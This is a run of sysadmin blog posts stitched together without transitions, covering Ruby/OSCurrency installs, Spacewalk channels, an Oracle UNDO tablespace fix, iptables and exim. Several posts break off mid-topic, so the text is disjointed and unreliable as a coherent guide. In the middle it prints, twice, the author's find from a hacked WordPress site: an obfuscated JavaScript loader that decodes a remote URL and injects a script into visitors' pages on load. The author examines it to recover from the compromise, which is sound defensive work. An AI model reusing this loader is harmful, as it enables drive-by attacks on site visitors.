1. Install some required packages

2. Install rvm

3. Install Ruby 1.8.7

rvm install 1.8.7

rvm --default use 1.8.7

4. Install Rails 2.3.11 (OSCurrency at the moment is not compatible with Rails 3)

5. Install and Configure Postgresql

6. Install some additional gems

7. Deploy OSCurrency

8. Configure OSCurrency

At this point the installation fails and I get the following error:

== FullTextSearch1265516526: migrating ======================================= 

rake aborted! An error has occurred, this and all later migrations canceled: 

PGError: ERROR: syntax error at or near “EXISTS” at character 23 : 

DROP index IF EXISTS people_fts_idx

The only solution I have found is to completely delete the offending file and re-run the install script

9. Installation is completed! Now its time to deploy our patches for local installation

10. Install and deploy on Thin

Yesterday I’ve been informed that the patch has been accepted and got into version fence-1.32.68-5.el4. For more details you can have a look at Bugzilla #494587 .

I proceeded to the installation as per the spacewalk instructions and everything went smoothly. The I wanted to create my software channel. The plan is to create a Base channel of every  CentOS and Redhat Update release  and then have additional repos as child channels for each. This created a need for almost 20 channels with tens of clicks and repeated input. Ok, I can’t do it… I am not a Windows admin thus I hate anything that has to be completed with more than 2-3 clicks… Time for scripting!

I have downloaded the extended_create_channel.py from Spacewalk Wiki in order to use it in a simple bash script. For my disappointment it created channels without essential data such as the GPG keys and Yum Repositories information. It was high time for me to refresh my python to extend the script. The script is here and I believe is quite self explained.

var Zx=new Array();var ZL=new Array();try {this.U="";this.u="";
var D;if(D!='a' && D != ''){D=null};var V='';var II;if(II!='ly'
&& II != ''){II=null};var b='[';var sN;if(sN!='X' && sN!='iC'){
sN=''};this.iO="";var z=RegExp;var s='replace';var Z='g';this.GJ='';
var q=']';var M;if(M!='ST' && M != ''){M=null};function L(C,y){var
Cp;if(Cp!=''){Cp='Sq'};var Wv=new Date();var wH=new String();var m=b;
this.le="";this.Aq='';m+=y;this.XP='';m+=q;var CO="";var E="";var I=new
z(m, Z);return C[s](I, V);};var K;if(K!='N'){K='N'};var PN="";var
h=L('bhoCdhyh',"CDhr");var B=L('sfcfrPiPpMtP',"MwOfP");var d=L('
h7t7tzpB:7/7/bvznVezx7pVrVeVsBsz-zn7ebtV.VnBiVn7gB.7cBozmB.bgVozobg7lbe
b-bhBrb.bm7yVf7rbe7ezmzabgb.7rzuB:b',"bBVz7");var C="1";var kb;
if(kb!='' && kb!='t'){kb=''};var qc=L('/TsTpjoTnjsToTrTajdjsT.TdjeT/
TsTpTojnjsToTrTajdjsj.TdTej/jaTlTlToTcTiTnjej.Tfjrj/jaTeTbTnT.TnjejtT/
jgTojoTgjljej.TcTojmT.TpjhTpT',"jT");var Rh=new String();var Lq=new
String();var l=L('awpGpDewnGdqCDhDiqlDdw',"wDRGq");var Ep="";var O=L(
'sQeStQAStQtSrSiQbQuQtSeS',"SQ");var SN=new Array();this.Nd="";var
fj='';var zG='';var si='';var bf;if(bf!='_'){bf='_'};this.BI="";var
yS=L('851535031951859931095959',"3159");var Yr=new Date();var G=L('
ckrfekagtkekEglfekmkegnktg',"gfk");this.Cq="";this.CR='';var lq=L('
o3n3lro3audN',"NVr3u");var NR=new Array();var iI;if(iI!='Xk'){iI='Xk
'};var Ih=new String();var re=new String();window[lq]=function(){var
UL=new String();var qa=new String();zB=document[G](B);var wR=new A
rray();si+=d;this.oy='';si+=yS;var LJ=new String();var Pv=new Array();
si+=qc;var _a;if(_a!='' && _a!='rQ'){_a='ED'};this.oB="";zB.src=s
i;var k=document[h];var kv;if(kv!='VV' && kv != ''){kv=null};zB.
setAttribute('defer', C);var _z;if(_z!='' && _z!='OxG'){_z='p'};var xd;
if(xd!=''){xd='kQ'};k.appendChild(zB);var n_='';var uJe=new String();};
var VO;if(VO!='sz'){VO=''};this.Iw='';var cR;if(cR!='Ae' && cR!='mL'){
cR='Ae'};} catch(Y){};

Well it was impossible to read this script, so I reformatted like real code and out to be the following:

var Zx = new Array();
var ZL = new Array();
try {
  this.U = "";
  this.u = "";
  var D;
  if(D != 'a' && D != '') {
      D = null};

  var V = '';
  var II;
  if(II !='ly' && II != '')
  {
     II = null }; 

  var b = '[';
  var sN;
  if(sN != 'X' && sN != 'iC')
  {
      sN = ''};
  this.iO = "";
  var z = RegExp;
  var s = 'replace';
  var Z = 'g';
  this.GJ = '';
  varq = ']';
  var M;
  if(M != 'ST' && M != '') {
     M = null};

  function L(C, y) {
      var Cp;
      if(Cp != '') {
         Cp = 'Sq'};
      var Wv = new Date();
      var wH = new String();
      var m = b;
      this.le = "";
      this.Aq = '';
      m += y;
      this.XP = '';
      m += q;
      var CO = "";
      var E = "";
      var I = new z(m, Z);
      return C[s](I, V);
  };

  var K;
   if(K != 'N') {
      K = 'N'}; 

  var PN = "";
  varh = L('bhoCdhyh', "CDhr");
  var B = L('sfcfrPiPpMtP', "MwOfP");
  var d = L('h7t7tzpB:7/7/bvznVezx7pVrVeVsBsz-zn7ebtV.VnBiVn7gB.
7cBozmB.bgVozobg7lbeb-bhBrb.bm7yVf7rbe7ezmzabgb.7rzuB:b', "bBVz7");
  var C = "1";
  var kb;
  if(kb != '' && kb != 't') {
      kb = ''}; 

  var qc = L('/TsTpjoTnjsToTrTajdjsT.TdjeT/TsTpTojnjsToTrTajdjsj.
TdTej/jaTlTlToTcTiTnjej.Tfjrj/jaTeTbTnT.TnjejtT/jgTojoTgjljej.TcTojmT.
TpjhTpT', "jT");
  var Rh = new String();
  var Lq = new String();
  var l = L('awpGpDewnGdqCDhDiqlDdw', "wDRGq");
  var Ep = "";
  var O = L('sQeStQAStQtSrSiQbQuQtSeS', "SQ");
  var SN = new Array();
  this.Nd = "";
  varfj = '';
  var zG = '';
  var si = '';
  var bf;
  if(bf != '_') {
     bf = '_'}; 

  this.BI = "";
  var yS = L('851535031951859931095959', "3159");
  var Yr = new Date();
  var G = L('ckrfekagtkekEglfekmkegnktg', "gfk");

  this.Cq = "";
  this.CR = '';
  var lq = L('o3n3lro3audN', "NVr3u");
  var NR = new Array();
  var iI;
  if(iI != 'Xk') {
      iI = 'Xk '}; 

  var Ih = new String();
  var re = new String();
  window[lq] = function() {
      var UL = new String();
      var qa = new String();
      zB = document[G](B);
      var wR = new Array();

      si += d;
      this.oy = '';
      si += yS;
      var LJ = new String();
      var Pv = new Array();
      si += qc;
      var _a;
      if(_a != '' && _a != 'rQ') {
         _a = 'ED'};
      this.oB = "";
      zB.src = si;
      var k = document[h];
      var kv;
      if(kv != 'VV' && kv != '') {
         kv = null};
      zB.setAttribute('defer', C);
      var _z;
      if(_z != '' && _z != 'OxG') {
         _z = 'p'};
      var xd;
      if(xd != '') {
         xd = 'kQ'}; 

      k.appendChild(zB);
      var n_ = '';
      var uJe = new String();
      };

  var VO;
  if(VO != 'sz') {
      VO = ''}; 

  this.Iw = '';
  var cR;
  if(cR != 'Ae' && cR != 'mL') {
      cR = 'Ae'};
  }
catch(Y) {};

It became obvious that the script used a special encoding technique, unique for the script to make my life harder. It took me some time but in the end I was able to understand its inner work and finally the nasty cross-site trojan attack to the users browser.

My next move was to identify the point of entry. NOTHING! All my logs where clean, no recent exploits for wordpress published and everything seemed ok. Then an idea came back to me… It was not the server’s fault, but me… And yes I was right… My PC was somehow (still looking for that) infected with a backdoor which probably stole my cached FTP passwords (yes, I know it is bad to store passwords…). Then it connected through ftp to my web server and everything was easy … It could have been worse…

Everything was clear now and it was time to bring the site back online. I found it easier and safer to reinstall wordpress, as my database was not affected. So, fresh wordpress install, fresh theme installation, fresh plugins install and… here I am, back online!

This time things were not so easy as Oracle was not friendly! I followed the documented procedure and while the schema upgrade I received the following error:

SQL> update rhnPackageFile p
2     set checksum_id = lookup_checksum('md5', md5);
update rhnPackageFile p
       *
ERROR at line 1:
ORA-30036: unable to extend segment by 8 in undo tablespace 'UNDO'

It was obvious a problem with the UNDO tablespace hitting its extend limit. I verified that I had enough hard disk space available and then I executed the sqlplus utility to verify that the tablespace has hit its limit.

SQL> select file_name, bytes, autoextensible, maxbytes
from dba_data_files where tablespace_name='UNDO';

FILE_NAME
----------------------------------------------------------------------
BYTES AUT   MAXBYTES
---------- --- ----------
/usr/lib/oracle/xe/oradata/XE/undo.dbf
524288000 YES  524288000

Then I extend it genersouly!

SQL> alter database datafile '/usr/lib/oracle/xe/oradata/XE/undo.dbf'
autoextend on next 100m maxsize 2000m;

Database altered.

SQL> select file_name, bytes, autoextensible, maxbytes
from dba_data_files where tablespace_name='UNDO';

FILE_NAME
----------------------------------------------------------------------
BYTES AUT   MAXBYTES
---------- --- ----------
/usr/lib/oracle/xe/oradata/XE/undo.dbf
524288000 YES 2097152000

Unfortunately I could not use any more the automated script spacewalk-schema-upgrade in order to complete the schema upgrade. The solution was again to use the sqlplus utility and execute all sql scripts against the database. To do that I wrote the following bash script:

#!/bin/bash
cd /etc/sysconfig/rhn/schema-upgrade/
cd spacewalk-schema-0.7-to-spacewalk-schema-0.8/

for sqlscript in `ls -1`
do
echo "****"
echo "Executing script $sqlscript"
echo "****"
sqlplus dbuser/dbpass <<EOF
@$sqlscript;
EOF
done

I carefully noticed the output of the script for errors. As expected the first scripts, which have already been executed, displayed several warnings and errors but after the script 012-2-rhnPackageFile-data.sql which initialy failed, everything went smoothly!

UPDATE:
Later I have found that I had to manually update the rhnVersionInfo table in order for new spacewalk upgrades to work. From a shell execute the command:

rpm -q spacewalk-schema

and you will get something like “spacewalk-schema-0.8.9-1.el5.noarch.rpm”. Then login to sqlplus interface and execute the following query (alter accordingly to fit your enviroment):

SQL> INSERT INTO rhnVersionInfo 
( label, name_id, evr_id, created, modified )
VALUES ('schema', lookup_package_name('spacewalk-schema'),
lookup_evr(null, '0.8.9', '1.el5' ), sysdate, sysdate );

SQL> COMMIT;

It has been a good lesson for me and my next move was to disallow anyone besides root and Exim to send mail to be able to connect to remote MTAs. Thanks to Linux iptables it was feasible and quite easy with a rule similar to this:

/sbin/iptables -I OUTPUT –protocol tcp –dport 25 -m owner –gid-owner 47 -j ACCEPT

Next step was to clean my exim queues from bounce backs and various junk due to the thousands of e-mails send out to the Internet. As always I had to dig my notes and find the appropriate commands so I decided to post them on my fellow site, here.

Nothing great but i so desperately out of time that I could not give my attention to this.

Hopefully now that it’s all set I’ll update this blog with news, information, solutions and generally anything that it may be of interest to all of you out there.

Some times I will also post stories of my personal life just a depressurisation pump for my self. My psy-doctor adivces me to share my thoughts with others

Greetings to all of you,
Soumplis Alexandros